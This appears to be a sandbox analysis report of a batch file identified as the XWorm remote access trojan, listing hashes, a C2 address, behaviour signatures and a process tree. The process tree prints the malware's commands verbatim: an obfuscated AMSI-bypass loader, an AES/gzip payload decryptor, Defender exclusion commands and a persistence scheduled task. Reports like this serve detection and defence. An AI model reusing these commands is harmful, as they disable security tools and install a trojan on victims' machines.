Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08/11/2024, 20:05

General

  • Target

    Setup.bat

  • Size

    492KB

  • MD5

    334e5ed791deb37c6838e954fda616d9

  • SHA1

    45519a533eedb9a5489b219069725ee884d6a662

  • SHA256

    996e11e2c1ddbb5a16743fafa288e5f554cf31a295b5ff8e705af30fb690ef31

  • SHA512

    88bdeb6930b66a1b86264519441207c81955183dfb5ba58705aaf9fbc2fe258dc8f13b23424596d711090380834a1354a549443d08c31b925b7a0ee9204818fc

  • SSDEEP

    12288:TV1R5Ja3/QZfusZK3VX+1VbQLGwCvn0YGZdRksyp:jtoQ5ZGpIDwCvn0YQRkvp

Malware Config

Extracted

Family

xworm

C2

here-thinking.gl.at.ply.gg:50161

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    WindowsSecurity.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 55 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:624
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:464
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{3f3944b6-4bf1-4a32-863b-846d0676da71}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1976
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:692
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:1000
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:420
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:456
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1040
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1048
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1168
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WgzieDfqEeVX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YKoNZWcLftKbJV,[Parameter(Position=1)][Type]$SKUKwGlhBN)$GJPCjbTlUkb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+'t'+[Char](101)+''+'T'+''+'y'+''+'p'+'e',''+'C'+'l'+'a'+''+[Char](115)+'s'+[Char](44)+'P'+'u'+''+[Char](98)+'l'+[Char](105)+'c'+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+'d'+''+[Char](44)+''+'A'+'n'+[Char](115)+'iC'+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+'o'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$GJPCjbTlUkb.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+'e'+'c'+'i'+''+[Char](97)+'l'+[Char](78)+''+'a'+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+'B'+'y'+''+'S'+''+[Char](105)+''+[Char](103)+',P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YKoNZWcLftKbJV).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$GJPCjbTlUkb.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+'o'+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'Ne'+'w'+''+'S'+''+[Char](108)+''+'o'+'t'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$SKUKwGlhBN,$YKoNZWcLftKbJV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $GJPCjbTlUkb.CreateType();}$gSLquWfEARKTq=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+'t'+''+'e'+'m.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2.U'+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+'Nat'+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+'o'+'d'+''+[Char](115)+'');$jxVcAzOUhpNtIQ=$gSLquWfEARKTq.GetMethod(''+[Char](71)+'e'+[Char](116)+'P'+'r'+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+[Char](114)+'es'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+'at'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CglJdYWyZmicoZiudfG=WgzieDfqEeVX @([String])([IntPtr]);$eZXGvzNswEUyBXriWoKMqT=WgzieDfqEeVX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kFQyuclKXlA=$gSLquWfEARKTq.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+''+'d'+''+'l'+'l')));$ksbnGbxQCijLXk=$jxVcAzOUhpNtIQ.Invoke($Null,@([Object]$kFQyuclKXlA,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+'a'+''+[Char](114)+'yA')));$lkvEdLTtSsziDGWnK=$jxVcAzOUhpNtIQ.Invoke($Null,@([Object]$kFQyuclKXlA,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+'P'+'r'+[Char](111)+'t'+'e'+''+'c'+''+[Char](116)+'')));$LFhHSka=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ksbnGbxQCijLXk,$CglJdYWyZmicoZiudfG).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+'dl'+[Char](108)+'');$QJTNbEzCoNZSqQpUn=$jxVcAzOUhpNtIQ.Invoke($Null,@([Object]$LFhHSka,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+'f'+[Char](101)+'r')));$ECVYgoVdUz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lkvEdLTtSsziDGWnK,$eZXGvzNswEUyBXriWoKMqT).Invoke($QJTNbEzCoNZSqQpUn,[uint32]8,4,[ref]$ECVYgoVdUz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$QJTNbEzCoNZSqQpUn,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lkvEdLTtSsziDGWnK,$eZXGvzNswEUyBXriWoKMqT).Invoke($QJTNbEzCoNZSqQpUn,[uint32]8,0x20,[ref]$ECVYgoVdUz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+'s'+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:4988
                    • C:\Users\Admin\AppData\Local\WindowsSecurity.exe
                      C:\Users\Admin\AppData\Local\WindowsSecurity.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2360
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        3⤵
                          PID:5036
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1208
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1260
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                          1⤵
                            PID:1284
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                            1⤵
                            • Indicator Removal: Clear Windows Event Logs
                            PID:1336
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1384
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1408
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1428
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                  1⤵
                                    PID:1456
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:536
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1652
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1716
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k NetworkService -p
                                          1⤵
                                            PID:1736
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1808
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                              1⤵
                                                PID:1896
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1956
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1964
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:2012
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:2056
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2140
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2284
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2388
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2396
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                1⤵
                                                                  PID:2436
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                  1⤵
                                                                    PID:2500
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2540
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2576
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2596
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2604
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2628
                                                                        • C:\Windows\system32\wbem\unsecapp.exe
                                                                          C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                          1⤵
                                                                            PID:708
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:2496
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of UnmapMainImage
                                                                              PID:3336
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Setup.bat"
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:1536
                                                                                • C:\Windows\System32\Conhost.exe
                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  3⤵
                                                                                    PID:3984
                                                                                  • C:\Windows\system32\net.exe
                                                                                    net file
                                                                                    3⤵
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3924
                                                                                    • C:\Windows\system32\net1.exe
                                                                                      C:\Windows\system32\net1 file
                                                                                      4⤵
                                                                                        PID:3740
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6Qr7qHDKJjMpmgIjSPfD44cTPtNyBSLGu8hDw8CfoaU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g7PbVoDhe/kTO9wMHyLfTA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lnXbU=New-Object System.IO.MemoryStream(,$param_var); $serAy=New-Object System.IO.MemoryStream; $mBSQd=New-Object System.IO.Compression.GZipStream($lnXbU, [IO.Compression.CompressionMode]::Decompress); $mBSQd.CopyTo($serAy); $mBSQd.Dispose(); $lnXbU.Dispose(); $serAy.Dispose(); $serAy.ToArray();}function execute_function($param_var,$param2_var){ $DMigp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vmAAk=$DMigp.EntryPoint; $vmAAk.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Setup.bat';$sKPoD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Setup.bat').Split([Environment]::NewLine);foreach ($cbgZM in $sKPoD) { if ($cbgZM.StartsWith(':: ')) { $HzSkD=$cbgZM.Substring(3); break; }}$payloads_var=[string[]]$HzSkD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                      3⤵
                                                                                      • Blocklisted process makes network request
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Drops startup file
                                                                                      • Adds Run key to start application
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:760
                                                                                      • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2228
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:5104
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          5⤵
                                                                                            PID:2100
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                                                                          4⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:2656
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            5⤵
                                                                                              PID:2332
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\WindowsSecurity.exe'
                                                                                            4⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:3640
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              5⤵
                                                                                                PID:2008
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsSecurity.exe'
                                                                                              4⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:5008
                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                5⤵
                                                                                                  PID:2848
                                                                                              • C:\Windows\System32\schtasks.exe
                                                                                                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsSecurity" /tr "C:\Users\Admin\AppData\Local\WindowsSecurity.exe"
                                                                                                4⤵
                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                PID:2156
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  5⤵
                                                                                                    PID:1624
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                            1⤵
                                                                                              PID:3452
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                              1⤵
                                                                                                PID:3488
                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:3928
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                  1⤵
                                                                                                    PID:3948
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:4020
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:4028
                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                        1⤵
                                                                                                          PID:4308
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                          1⤵
                                                                                                            PID:4412
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                            1⤵
                                                                                                              PID:3396
                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                              1⤵
                                                                                                                PID:2484
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                1⤵
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:1224
                                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                1⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:1312
                                                                                                              • C:\Windows\system32\SppExtComObj.exe
                                                                                                                C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                1⤵
                                                                                                                  PID:1928
                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                  1⤵
                                                                                                                    PID:1804
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                    1⤵
                                                                                                                      PID:2660
                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                      1⤵
                                                                                                                        PID:3768
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                        1⤵
                                                                                                                          PID:900
                                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:2168
                                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                            1⤵
                                                                                                                              PID:2640
                                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                              1⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              PID:4444

                                                                                                                            Network

                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              627073ee3ca9676911bee35548eff2b8

                                                                                                                              SHA1

                                                                                                                              4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                                                                                                              SHA256

                                                                                                                              85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                                                                                                              SHA512

                                                                                                                              3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                              Filesize

                                                                                                                              1KB

                                                                                                                              MD5

                                                                                                                              4fc204cd72f2c3f6149d487b16ea4a83

                                                                                                                              SHA1

                                                                                                                              ac5f7fae2c1ac704ad559069589844a89c0b7410

                                                                                                                              SHA256

                                                                                                                              dc706e6f21d6e4b670e36f3ed9772fef5f47d30af28f587f14ccd2f6348d14d8

                                                                                                                              SHA512

                                                                                                                              d6e90367ab4efcc2364ac7ad18763ba79b3f5ac638cefd1ec651bee9e9b6d3753b24e41bf774ce400024f1befd3b33e33fc89f0ec836e8e8256a39719a303ac4

                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                              Filesize

                                                                                                                              944B

                                                                                                                              MD5

                                                                                                                              05b3cd21c1ec02f04caba773186ee8d0

                                                                                                                              SHA1

